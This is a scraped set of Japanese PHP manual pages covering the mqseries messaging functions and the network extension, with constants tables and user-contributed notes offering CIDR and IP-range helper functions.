        printf("GET CompCode:%d Reason:%d Text:%s<br>", $comp_code, $reason, mqseries_strerror($reason));
    }

// close the object reference $obj
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// disconnect from the queue manager.
    mqseries_disc($conn, $comp_code, $reason);

?>

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_put() - MQSeries MQPUT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQINQ

  • ≪ mqseries_get
  • mqseries_open ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQINQ

mqseries_inq

(PECL mqseries >= 0.10.0)

mqseries_inq — MQSeries MQINQ

説明

mqseries_inq ( resource $hconn , resource $hobj , int $selectorCount , array $selectors , int $intAttrCount , resource &$intAttr , int $charAttrLength , resource &$charAttr , resource &$compCode , resource &$reason ) : void

mqseries_inq() (MQINQ) は、整数の配列と文字列を返します。 これはオブジェクトの属性を表します。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

hObj

オブジェクトハンドル。

このハンドルは、使用するオブジェクトを表します。

selectorCount

セレクタの数。

selectors

属性セレクタの配列。

intAttrLength

整数属性の数。

intAttr

整数属性の配列。

charAttrLength

文字属性バッファの長さ。

charAttr

文字属性。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_inq() の例

<?php
    $int_attr = array();
    $char_attr = "";

    mqseries_inq($conn, $obj, 1, array(MQSERIES_MQCA_Q_MGR_NAME), 0, $int_attr, 48, $char_attr, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("INQ CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    } else {
        echo "INQ QManager name result ".$char_attr."<br>\n";
    }
?>

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQOPEN

  • ≪ mqseries_inq
  • mqseries_put1 ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQOPEN

mqseries_open

(PECL mqseries >= 0.10.0)

mqseries_open — MQSeries MQOPEN

説明

mqseries_open ( resource $hconn , array &$objDesc , int $option , resource &$hobj , resource &$compCode , resource &$reason ) : void

mqseries_open() (MQOPEN) は、オブジェクトへのアクセスを確立します。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

objDesc

オブジェクト記述子 (MQOD)。

options

関数の動作を制御するオプション。

hObj

オブジェクトハンドル。

このハンドルは、使用するオブジェクトを表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_open() の例

<?php
    $mqods = array('ObjectName' => 'TESTQ');
    mqseries_open(
                $conn,
                $mqods,
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

参考

  • mqseries_close() - MQSeries MQCLOSE

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT1

  • ≪ mqseries_open
  • mqseries_put ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQPUT1

mqseries_put1

(PECL mqseries >= 0.10.0)

mqseries_put1 — MQSeries MQPUT1

説明

mqseries_put1 ( resource $hconn , resource &$objDesc , resource &$msgDesc , resource &$pmo , string $buffer , resource &$compCode , resource &$reason ) : void

The mqseries_put1() (MQPUT1) call puts one message on a queue. The queue need not be open.

You can use both the mqseries_put() and mqseries_put1() calls to put messages on a queue; which call to use depends on the circumstances. Use the mqseries_put() (MQPUT) call to place multiple messages on the same queue. Use the mqseries_put1() (MQPUT1) call to put only one message on a queue. This call encapsulates the MQOPEN, MQPUT, and MQCLOSE calls into a single call, minimizing the number of calls that must be issued.

パラメータ

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

This is a structure which identifies the queue to which the message is added.

msgDesc

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

compCode

Completion code.

reason

Reason code qualifying the compCode.

返り値

値を返しません。

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT

  • ≪ mqseries_put1
  • mqseries_set ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQPUT

mqseries_put

(PECL mqseries >= 0.10.0)

mqseries_put — MQSeries MQPUT

説明

mqseries_put ( resource $hConn , resource $hObj , array &$md , array &$pmo , string $message , resource &$compCode , resource &$reason ) : void

The mqseries_put() (MQPUT) は、メッセージをキューあるいは配送リストにおきます。 キューあるいは配送リストを事前にオープンしておく必要があります。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

hObj

オブジェクトハンドル。

このハンドルは、使用するオブジェクトを表します。

md

メッセージ記述子 (MQMD)。

pmo

Put メッセージのオプション (MQPMO)。

message

実際にキューに置くメッセージ。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_put() の例

<?php
// キューマネージャへの接続をオープンします
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// これで、$conn がキューマネージャへの接続を指すようになります

// testq キューへの接続をオープンします
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// これで、$obj はオブジェクト (TESTQ) を指すようになります

// メッセージ記述子の配列を設定します。MQSeries のリファレンスマニュアルを参照ください
    $md = array(
                'Version' => MQSERIES_MQMD_VERSION_1,
                'Expiry' => MQSERIES_MQEI_UNLIMITED,
                'Report' => MQSERIES_MQRO_NONE,
                'MsgType' => MQSERIES_MQMT_DATAGRAM,
                'Format' => MQSERIES_MQFMT_STRING,
                'Priority' => 1,
                'Persistence' => MQSERIES_MQPER_PERSISTENT);

// Put メッセージのオプションを設定します
    $pmo = array('Options' => MQSERIES_MQPMO_NEW_MSG_ID|MQSERIES_MQPMO_SYNCPOINT);

// 'Ping' というメッセージをキューに置きます
    mqseries_put($conn, $obj, $md, $pmo, 'Ping', $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("put CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }

// オブジェクトへの参照 $obj を閉じます
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// キューマネージャとの接続を切断します
    mqseries_disc($conn, $comp_code, $reason);

?>

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQSET

  • ≪ mqseries_put
  • mqseries_strerror ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQSET

mqseries_set

(PECL mqseries >= 0.10.0)

mqseries_set — MQSeries MQSET

説明

mqseries_set ( resource $hConn , resource $hObj , int $selectorCount , array $selectors , int $intAttrCount , array $intAttrs , int $charAttrLength , array $charAttrs , resource &$compCode , resource &$reason ) : void

The mqseries_set() (MQSET) call is used to change the attributes of an object represented by a handle. The object must be a queue.

パラメータ

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

selectorCount

Count of selectors.

selectors

Array of attribute selectors.

intAttrCount

Count of integer attributes.

intAttrs

Array of integer attributes.

charAttrLength

Length of character attributes buffer.

charAttrs

Character attributes.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返り値

値を返しません。

参考

  • mqseries_inq() - MQSeries MQINQ

User Contributed Notes

There are no user contributed notes for this page.


結果コード (MQRC) に対応するエラーメッセージを返す

  • ≪ mqseries_set
  • ネットワーク ≫
  • PHP Manual
  • mqseries 関数
  • 結果コード (MQRC) に対応するエラーメッセージを返す

mqseries_strerror

(PECL mqseries >= 0.10.0)

mqseries_strerror — 結果コード (MQRC) に対応するエラーメッセージを返す

説明

mqseries_strerror ( int $reason ) : string

mqseries_strerror() は、結果コードに対応するメッセージを返します。

パラメータ

reason

compCode の原因を表すコード。

返り値

原因コードのメッセージを文字列で返します。

例

例1 mqseries_strerror() の例

<?php
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

上の例の出力は以下となります。

Connx CompCode:2 Reason:2059 Text:Queue manager not available for connection.

User Contributed Notes

j dot romero dot 1214 at gmail dot com 04-Jan-2013 03:03
There might be some error codes missing from the package depending on the MQ client version you are using. To prevent further versions from returning an empty error message simply use a function such as:

<?php
    //... wrapper class ...

    public function getErrorMessage ($errorCode) {
        $errorString = mqseries_strerror($errorCode);
        if (!empty($errorString)) {
            return $errorString;
        } else {
            switch ($errorCode) {
                // insert missing codes here
                case 2537:
                    return "Channel is not available.";
                case 2538:
                    return "Host is not available.";
                case 2539:
                    return "Channel configuration error.";
                case 2540:
                    return "Channel name is unknown.";
                default:
                    return "Unexpected error ({$errorCode})";
            }
        }
    }

    // ... wrapper class ...
?>


ネットワーク

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ネットワーク 関数
    • checkdnsrr — 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する
    • closelog — システムログへの接続を閉じる
    • dns_check_record — checkdnsrr のエイリアス
    • dns_get_mx — getmxrr のエイリアス
    • dns_get_record — ホスト名に関連する DNS リソースレコードを取得する
    • fsockopen — インターネット接続もしくは Unix ドメインソケット接続をオープンする
    • gethostbyaddr — 指定した IP アドレスに対応するインターネットホスト名を取得する
    • gethostbyname — インターネットホスト名に対応するIPv4アドレスを取得する
    • gethostbynamel — 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する
    • gethostname — ホスト名を取得する
    • getmxrr — 指定したインターネットホスト名に対応する MX レコードを取得する
    • getprotobyname — プロトコル名のプロトコル番号を得る
    • getprotobynumber — プロトコル番号が指すプロトコル名を取得する
    • getservbyname — インターネットサービスおよびプロトコルが関連するポート番号を取得する
    • getservbyport — ポートおよびプロトコルに対応するインターネットサービスを得る
    • header_register_callback — ヘッダ用の関数を登録する
    • header_remove — 以前に設定したHTTPヘッダを削除する
    • header — 生の HTTP ヘッダを送信する
    • headers_list — 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す
    • headers_sent — ヘッダが既に送信されているかどうかを調べる
    • http_response_code — HTTP レスポンスコードを取得または設定
    • inet_ntop — パックされたインターネットアドレスを、人間が読める形式に変換する
    • inet_pton — 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する
    • ip2long — ドット表記の (IPv4) IP アドレスを、長整数表現に変換する
    • long2ip — 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する
    • openlog — システムのロガーへの接続をオープンする
    • pfsockopen — 持続的な Internet または Unix ドメインソケット接続をオープンする
    • setcookie — クッキーを送信する
    • setrawcookie — 値を URL エンコードせずにクッキーを送信する
    • socket_get_status — stream_get_meta_data のエイリアス
    • socket_set_blocking — stream_set_blocking のエイリアス
    • socket_set_timeout — stream_set_timeout のエイリアス
    • syslog — システムログのメッセージを生成する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

さまざまなネットワーク関数を提供します。

User Contributed Notes

There are no user contributed notes for this page.


要件

checkdnsrr()、getmxrr() および dns_get_record() には Linux の Bind が必要です。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、ファイルポインタリソースを定義しています。これは fsockopen() および pfsockopen() で使用するものです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

openlog()オプション
定数 | 説明
LOG_CONS | システムロガーにデータを送信する際にエラーが発生した場合、 システムコンソールに直接書き込む。
LOG_NDELAY | ロガーにただちに接続をオープンする。
LOG_ODELAY | (デフォルト) 最初のメッセージが記録されるまで接続のオープンを 遅延させる。
LOG_NOWAIT |
LOG_PERROR | 標準エラー出力にもログメッセージを出力する
LOG_PID | 各メッセージにプロセスIDを含める
openlog() ファシリティ
定数 | 説明
LOG_AUTH | セキュリティ/認証メッセージ（LOG_AUTHPRIVが定義されているシステムであれば 代わりにそれを使用してください）
LOG_AUTHPRIV | セキュリティ/認証メッセージ (private)
LOG_CRON | 時刻デーモン (cron and at)
LOG_DAEMON | その他のシステムデーモン
LOG_KERN | カーネルメッセージ
LOG_LOCAL0 ... LOG_LOCAL7 | ローカルで使用できるようリザーブされている。Windowsでは使用できない。
LOG_LPR | ラインプリンタサブシステム
LOG_MAIL | メールサブシステム
LOG_NEWS | USENETニュースサブシステム
LOG_SYSLOG | syslogdによって内部で生成されたメッセージ
LOG_USER | 一般ユーザーレベルのメッセージ
LOG_UUCP | UUCPサブシステム
syslog()プロパティ(降順)
定数 | 説明
LOG_EMERG | システムは使用不可
LOG_ALERT | アクションを直ちに起こすことが必要
LOG_CRIT | 危機的な条件
LOG_ERR | エラー条件
LOG_WARNING | 警告条件
LOG_NOTICE | 正常、しかし、注意すべき条件
LOG_INFO | 情報メッセージ
LOG_DEBUG | デバッグレベルメッセージ
dns_get_record()オプション
定数 | 説明
DNS_A | IPv4アドレスリソース
DNS_CAA | Certification Authority Authorizationリソース (PHP 7.0.16 および 7.1.2 以降で使用可能)
DNS_MX | Mail Exchangerリソース
DNS_CNAME | エイリアス(Canonical Name)リソース
DNS_NS | Authoritative Name Serverリソース
DNS_PTR | ポインタリソース
DNS_HINFO | ホスト情報リソース（これらの値の意味については、IANA の » Operating System Names を参照ください）
DNS_SOA | 認証リソースの開始
DNS_TXT | テキストリソース
DNS_ANY | 全てのリソースレコード。多くのシステムでは、 これは、全てのリソースレコードを返します。 しかし、危機的な状況には対応できません。代わりに DNS_ALL を試してください。
DNS_AAAA | IPv6アドレスリソース
DNS_ALL | 利用可能なレコード型毎のネームサーバーへの反復クエリ。

User Contributed Notes

arash dot dalir at gmail dot com 12-Jun-2018 08:29
FYI, on windows, the vlaues for LOG_* "log-levels" are as followed:

<?php
namespace Test;

include 'vendor/autoload.php';

use Psr\Log\LogLevel;

$log_levels = array(
    LogLevel::EMERGENCY => LOG_EMERG,
    LogLevel::ALERT => LOG_ALERT,
    LogLevel::CRITICAL => LOG_CRIT,
    LogLevel::ERROR => LOG_ERR,
    LogLevel::WARNING => LOG_WARNING,
    LogLevel::NOTICE => LOG_NOTICE,
    LogLevel::INFO => LOG_INFO,
    LogLevel::DEBUG => LOG_DEBUG,
);

print_r($log_levels);
/*
prints:

Array
(
    [emergency] => 1
    [alert] => 1
    [critical] => 1
    [error] => 4
    [warning] => 5
    [notice] => 6
    [info] => 6
    [debug] => 6
)
*/


ネットワーク 関数

目次

  • checkdnsrr — 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する
  • closelog — システムログへの接続を閉じる
  • dns_check_record — checkdnsrr のエイリアス
  • dns_get_mx — getmxrr のエイリアス
  • dns_get_record — ホスト名に関連する DNS リソースレコードを取得する
  • fsockopen — インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • gethostbyaddr — 指定した IP アドレスに対応するインターネットホスト名を取得する
  • gethostbyname — インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbynamel — 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する
  • gethostname — ホスト名を取得する
  • getmxrr — 指定したインターネットホスト名に対応する MX レコードを取得する
  • getprotobyname — プロトコル名のプロトコル番号を得る
  • getprotobynumber — プロトコル番号が指すプロトコル名を取得する
  • getservbyname — インターネットサービスおよびプロトコルが関連するポート番号を取得する
  • getservbyport — ポートおよびプロトコルに対応するインターネットサービスを得る
  • header_register_callback — ヘッダ用の関数を登録する
  • header_remove — 以前に設定したHTTPヘッダを削除する
  • header — 生の HTTP ヘッダを送信する
  • headers_list — 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す
  • headers_sent — ヘッダが既に送信されているかどうかを調べる
  • http_response_code — HTTP レスポンスコードを取得または設定
  • inet_ntop — パックされたインターネットアドレスを、人間が読める形式に変換する
  • inet_pton — 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する
  • ip2long — ドット表記の (IPv4) IP アドレスを、長整数表現に変換する
  • long2ip — 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する
  • openlog — システムのロガーへの接続をオープンする
  • pfsockopen — 持続的な Internet または Unix ドメインソケット接続をオープンする
  • setcookie — クッキーを送信する
  • setrawcookie — 値を URL エンコードせずにクッキーを送信する
  • socket_get_status — stream_get_meta_data のエイリアス
  • socket_set_blocking — stream_set_blocking のエイリアス
  • socket_set_timeout — stream_set_timeout のエイリアス
  • syslog — システムログのメッセージを生成する

User Contributed Notes

Anton Avramov - lukav at lukav dot com 16-May-2017 02:41
An improved version of claudiu at cnixs dot com not using split and working with the following:
ip: 192.168.101.123, CIRD: 192.168.101.144/24

<?php
function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = explode ('/', $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    return (($ip_ip & $ip_mask) == ($ip_net & $ip_mask));
  }
?>
Anonymous 16-Jun-2016 05:15
improved version of philippe-at-cyberabuse.org's answer:

<?php
function cidrconv($net) {
    $start = strtok($net,"/");
    $n = 3 - substr_count($net, ".");
    if ($n > 0)
    {
        for ($i = $n;$i > 0; $i--)
            $start .= ".0";
    }
    $bits1 = str_pad(decbin(ip2long($start)), 32, "0", STR_PAD_LEFT);
    $net = (1 << (32 - substr(strstr($net, "/"), 1))) - 1;
    $bits2 = str_pad(decbin($net), 32, "0", STR_PAD_LEFT);
    $final = "";
    for ($i = 0; $i < 32; $i++)
    {
        if ($bits1[$i] == $bits2[$i]) $final .= $bits1[$i];
        if ($bits1[$i] == 1 and $bits2[$i] == 0) $final .= $bits1[$i];
        if ($bits1[$i] == 0 and $bits2[$i] == 1) $final .= $bits2[$i];
    }
    return array($start, long2ip(bindec($final)));
}
?>
-dR 13-Nov-2015 11:40
This little function might come in handy

<?php
function cidr_range( $cidr, $chkip=null )
{
    // Assign IP / mask
    list($ip,$mask) = explode("/",$cidr);

    // Sanitize IP
    $ip1 = preg_replace( '_(\d+\.\d+\.\d+\.\d+).*$_', '$1', "$ip.0.0.0" );

    // Calculate range
    $ip2 = long2ip( ip2long( $ip1 ) - 1 + ( 1 << ( 32 - $mask) ) );

    // are we cidr range cheking?
    if ( $chkip != null && ! filter_var( $chkip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === false )
    {
        return ip2long( $ip1 ) <= ip2long( $chkip ) && ip2long( $ip2 ) >= ip2long( $chkip ) ? true : false;
    } else {
        return "$ip1 - $ip2";
    }
}

var_dump( cidr_range( "127.0/16", "127.0.0.1" ) );   // bool(true)
var_dump( cidr_range( "127.0/16", "192.168.0.1" ) ); // bool(false)
var_dump( cidr_range( "192.168.0.0/24" ) );          // string(27) "192.168.0.0 - 192.168.0.255"

?>
David GASTALDIN 21-Jun-2007 08:12
Here a IP-Range to CIDRs function that I wrote for the purpose of filling my Postfix client.cidr with ripe-ncc data to block spamming from useless countries. Strcmp functions are meant to work around the silly PHP string comparison which inevitably tries compare strings as numbers when possible. I'll make no comment about that fact ... bit I have to bite my tong hard :

function PlageVersCIDRs($ip_min, $ip_max) {
    $cidrs = array();
    $ip_min_bin = sprintf('%032b', $ip_min);
    $ip_max_bin = sprintf('%032b', $ip_max);
    $ip_cour_bin = $ip_min_bin;
    while (strcmp($ip_cour_bin, $ip_max_bin) <= 0) {
        $lng_reseau = 32;
        $ip_reseau_bin = $ip_cour_bin;
        while (($ip_cour_bin[$lng_reseau - 1] == '0') && (strcmp(substr_replace($ip_reseau_bin, '1', $lng_reseau - 1, 1), $ip_max_bin) <= 0)) {
            $ip_reseau_bin[$lng_reseau - 1] = '1';
            $lng_reseau--;
        }
        $cidrs[] = long2ip(bindec($ip_cour_bin)).'/'.$lng_reseau;
        $ip_cour_bin = sprintf('%032b', bindec($ip_reseau_bin) + 1);
    }
    return $cidrs;
}
claudiu at cnixs dot com 22-Apr-2007 02:52
A simple and very fast function to check against CIDR.

Your previous examples are too complicated and involves a lot of functions call.

Here it is (only with arithmetic operators and call only to ip2long () and split() ):
<?php
  function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = split ("/", $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    $ip_ip_net = $ip_ip & $ip_mask;

    return ($ip_ip_net == $ip_net);
  }
?>
call example: <?php echo ipCheck ("192.168.1.23", "192.168.1.0/24"); ?>
dand at ddchosting.com 08-Apr-2006 02:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
metator at netcabo dot pt 27-Jul-2005 08:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

    192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
        IP to check: <input type="text" name="ip"> <br>
        Local network ip: <input type="text" name="net"> <br>
        Local netmask: <input type="text" name="mask"> <br>
        <input type="submit" name="check" value="Check it!">
    </form>
    <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
    //doesn't check for the return value of ip2long
    $ip = ip2long($_POST['ip']);
    $rede = ip2long($_POST['net']);
    $mask = ip2long($_POST['mask']);

    //AND
    $res = $ip & $mask;

    return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com 24-Feb-2005 05:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org 25-Nov-2003 09:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"   => "TUSCANY",
             "192.168.1.0/24"   => "- Florence",
             "192.168.2.0/24"   => "- Pisa",
             "192.168.3.0/24"   => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
anderson at piq dot com dot br 06-Aug-2003 10:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
02-Apr-2003 08:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
    if ($netmask_bin[$i] == "1")
      $last_bin .= $first_bin[$i];
    else
      $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com 16-Oct-2002 11:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org 12-Oct-2002 03:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org 14-Dec-2001 07:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}


指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する

  • ≪ ネットワーク 関数
  • closelog ≫
  • PHP Manual
  • ネットワーク 関数
  • 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する

checkdnsrr

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdnsrr — 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する

説明

checkdnsrr ( string $hostname , string $type = "MX" ) : bool

hostname に対応する type 型のレコードを DNS から探します。

パラメータ

hostname

hostname は、ドットで 4 つに分けられた形式の IP アドレスか、あるいはホスト名です。

type

typeは、A, MX, NS, SOA, PTR, CNAME, AAAA, A6, SRV, NAPTR, ANY のどれか一つです。

返り値

